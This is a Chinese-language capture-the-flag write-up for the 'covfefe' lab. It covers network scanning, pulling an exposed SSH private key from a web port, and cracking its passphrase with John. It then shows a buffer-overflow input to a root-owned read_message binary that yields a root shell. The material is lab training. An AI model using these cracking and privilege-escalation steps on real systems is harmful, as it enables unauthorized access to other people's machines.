0%

covfefe

1.arp扫描

1
arp-scan -l

2.nmap扫描

1
sudo nmap -T4 -sS -sV -sC -O 192.168.3.3


其中有用的部分

1
2
31337/tcp open  http   
|_/.bashrc /.profile /taxes

3.dirb扫描

1
2
3
4
5
6
---- Scanning URL: http://192.168.43.76:31337/ ----
+ http://192.168.43.76:31337/.bash_history (CODE:200|SIZE:853)
+ http://192.168.43.76:31337/.bashrc (CODE:200|SIZE:3526)
+ http://192.168.43.76:31337/.profile (CODE:200|SIZE:675)
+ http://192.168.43.76:31337/.ssh (CODE:200|SIZE:43)
+ http://192.168.43.76:31337/robots.txt (CODE:200|SIZE:70)

4.curl查找

1
curl 192.168.43.76:31337/taxes/

==flag1==

1
flag1{make_america_great_again}

5.ssh(相关知识并非WP)

  • ==本地mac和kali虚拟机测试ssh==

5.1 本地生成密钥对

mac本地生成ssh密钥对,命名**my_kali_rsa**

1
ssh-keygen -t rsa -f ~/.ssh/my_kali_rsa

5.2 本地开启服务

开启mac本地80端口下载服务, 注意路径问题,需要在**.ssh** 文件目录下开启

1
python3 -m http.server 80

5.3 上传本地公钥至kali

1
2
3
4
wget http://192.168.43.153/my_kali_rsa.pub
cat ~/.ssh/authorized_keys
cat my_kali_rsa.pub
cat my_kali_rsa.pub >> ~/.ssh/authorized_keys

5.4 ssh远程kali

mac本地进行ssh远程kali, 注意这里** -i ** 是==私钥==

1
ssh -i .ssh/my_kali_rsa root@192.168.43.62

  • ==实际登录验证阶段(SSH 连接时的自动流程)==

当客户端尝试 SSH 登录服务器时,SSH 协议会自动完成身份验证,无需输入密码:

  1. 客户端向服务器发送登录请求,告知自身身份;
  2. 服务器在目标用户的~/.ssh/authorized_keys中,查找对应的客户端公钥;
  3. 服务器生成一个随机字符串,用该公钥加密后发送给客户端;
  4. 客户端收到加密字符串后,用自己的私钥解密,并将解密后的字符串回传给服务器;
  5. 服务器验证回传的字符串是否与自己最初生成的一致:
    • 一致:身份验证通过,直接建立加密连接;
    • 不一致:拒绝登录。
  • 生成私钥和公钥

6.ssh登录

6.1 id_rsa登录

1
ssh -i id_rsa simon@192.168.43.76
  • 发现拒绝登录,bad permissions,需要设置id_rsa权限为600,设置后发现需要密码
1
2
3
4
5
6
7
8
9
10
┌──(root㉿kali-linux)-[~/localkali/covfefe]
└─# ssh -i id_rsa simon@192.168.43.76
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: UNPROTECTED PRIVATE KEY FILE! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0644 for 'id_rsa' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "id_rsa": bad permissions
simon@192.168.43.76: Permission denied (publickey).

6.2 John破解工具

  • 这里用工具破解密码如 johnhydra,这里以john为例
  1. 先定位
  2. 查看用法
  3. 进行转换
  4. 破解
  5. 查看密码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(root㉿kali-linux)-[~/localkali/covfefe]
└─# locate ssh2john
/usr/bin/ssh2john
/usr/share/john/ssh2john.py
/usr/share/john/__pycache__/ssh2john.cpython-313.pyc

┌──(root㉿kali-linux)-[~/localkali/covfefe]
└─# /usr/share/john/ssh2john.py
Usage: /usr/share/john/ssh2john.py <RSA/DSA/EC/OpenSSH private key file(s)>

┌──(root㉿kali-linux)-[~/localkali/covfefe]
└─# /usr/share/john/ssh2john.py id_rsa > ctf.hash

┌──(root㉿kali-linux)-[~/localkali/covfefe]
└─# cat ctf.hash

┌──(root㉿kali-linux)-[~/localkali/covfefe]
└─# john ctf.hash --show
id_rsa:starwars
  • 破解流程如下:
  1. 转换私钥为哈希文件
1
python /usr/share/john/ssh2john.py my_encrypted_id_rsa > ssh_key_hash.txt
  1. 用 John 破解哈希
1
john ssh_key_hash.txt
  1. 查看破解结果
1
john --show ssh_key_hash.txt

6.3 破解成功登录

破解查看密码,为 starwars,再次尝试登录

发现登录成功

7.查找flag

ssh远程登录后尝试查找flag,没有发现相关flag

1
find / \( -name user.txt -o -name root.txt \) 2>/dev/null -exec cat {} +

进入root目录查找,发现flag.txt,但是无权限访问,接着查看**==read_message.c==**,发现flag2

==flag2==

1
flag2{use_the_source_luke}


查看read_message.c完整代码

堆栈溢出

[!Summary]
分析上述源码。当我们输入一个字符串时, 它将与Simon 一起检查字符串的前5字符。如果匹配, 它将运行一个程序/usr/local/bin/read_message。现在输入它被分配大小为20个字节。因此, 我们溢出堆栈进入超过20个字节的数据。我们使用前5个字符是 "Simon", 然后是15 个任意字符, 然后是 "/bin/sh" 在第21字节,溢出提权。

查找root权限的文件,发现read_message也是root权限

运行read_message在输入用户名后随意加15字节**(5+15=20)**的内容,再加/bin/sh调用sh命 令解释器 ,获取root权限。

1
Simon123451234512345/bin/sh

==flag3==

1
flag3{das_bof_meister}

[!note]- 涉及主要知识点:

  1. ssh登录,John破解私钥
  2. 堆栈溢出